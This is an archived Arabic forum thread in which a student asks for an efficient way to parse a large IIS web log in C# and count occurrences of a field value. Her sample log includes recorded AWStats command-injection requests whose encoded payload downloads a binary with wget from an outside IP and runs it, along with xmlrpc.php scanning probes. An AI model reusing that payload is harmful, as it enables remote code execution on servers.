الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

أريد فكرة برمجية لقراءة ملف (( ضروري )) الله يحليكم لاتهملوا موضوعي

بدأه The Dew في 20 مارس 2008 · 2 رد · 856 مشاهدة · في Microsoft Visual C#.NET
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

بداية أتشرف بإنضمامي إلى هذا المنتدى المميز عن باقي كل المنتديات لإهتمامه بالبرمجة وجديدها

وأرجو منكم مساعدتي وسأكون لكم من الشاكرين

ومساعدتكم لي فقط بإعطائي فكرة برمجية

وهي كالتالي :-

أريد قراءة file ومن ثم البحث عن عنصر معين وعرض كم مره تكرر هذا العنصر

مع العلم أنه الفايل حجمه كبير لانه عباره عن ملف Logfile لموقع

مع العلم كذلك أن شكل الفايل كجدول وسأضع مثال عليه

ولقد نفذت كود بأن يحول الفايل الى مصفوفة ذات بعدين وبعد ذلك يبحث عما يطلبه المستخدم

ولكن هذه الطريقه تعلق مع كبر الملف وكثرة المعلومات التي بداخله

كما أن المصفوفه كما تعلمون تحجز مساحة كبيره بالذاكره (( وهذا يعتبر نقطة ضعف ))

أتمنى منكم مساعدة أختكم

شكل الفايل

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 2006-01-01 06:34:07

#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status cs(User-Agent)

2006-01-01 06:34:07 200.66.98.241 - 217.52.88.15 80 GET /sumthin - 404 -

2006-01-01 13:14:05 211.227.214.65 - 217.52.88.15 80 HEAD /Default.asp - 302 -

2006-01-01 20:00:49 212.208.64.208 - 217.52.88.15 80 GET /awstats/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| 404 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:00:50 212.208.64.208 - 217.52.88.15 80 GET /cgi-bin/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| 404 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:00:52 212.208.64.208 - 217.52.88.15 80 GET /cgi-bin/awstats/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| 404 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:00:54 212.208.64.208 - 217.52.88.15 80 POST /xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:00:55 212.208.64.208 - 217.52.88.15 80 POST /blog/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:00:56 212.208.64.208 - 217.52.88.15 80 POST /blog/xmlsrv/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:00:58 212.208.64.208 - 217.52.88.15 80 POST /blogs/xmlsrv/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:00:59 212.208.64.208 - 217.52.88.15 80 POST /drupal/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:01:00 212.208.64.208 - 217.52.88.15 80 POST /phpgroupware/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:01:01 212.208.64.208 - 217.52.88.15 80 POST /wordpress/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:01:03 212.208.64.208 - 217.52.88.15 80 POST /xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:01:04 212.208.64.208 - 217.52.88.15 80 POST /xmlrpc/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

2006-01-01 20:01:05 212.208.64.208 - 217.52.88.15 80 POST /xmlsrv/xmlrpc.php - 400 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;)

طبعا هذا جزء بسيط منه

(( ملاحظه :- شكل الفايل كأنه جدول ))

لاتهمولي موضوعي فأنا طالبة تخرج وهذا مشروعي

:wub:

والشكر موصول لكم دائماَ

#2

الرجاء توضيح نوع النص الذي يتم البحث عنه أي هل هو كلمة أم جملة أم حقل أم ماذا....

كما أني لا أرى في المثال الذي تم وضعه شكل جدول ربما لعدم التنسيق فأرجو توضع هذه النقطة لأنها تساعد كثيرا في فكرة الحل .

#3

golden man

أولا أشكر لك اهتمامك

ثانيا البرنامج يبحث عن قيمه معينه في حقل معين كم مره تكررت ؟؟

مثال :- يبحث عن الخطأ 404 من خلال حقل status كم مره تكرر ؟؟

ثالثا تجد بالمرفقات مثال على الملف

وأشكر لك حسن اهتمامك

example.rar

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…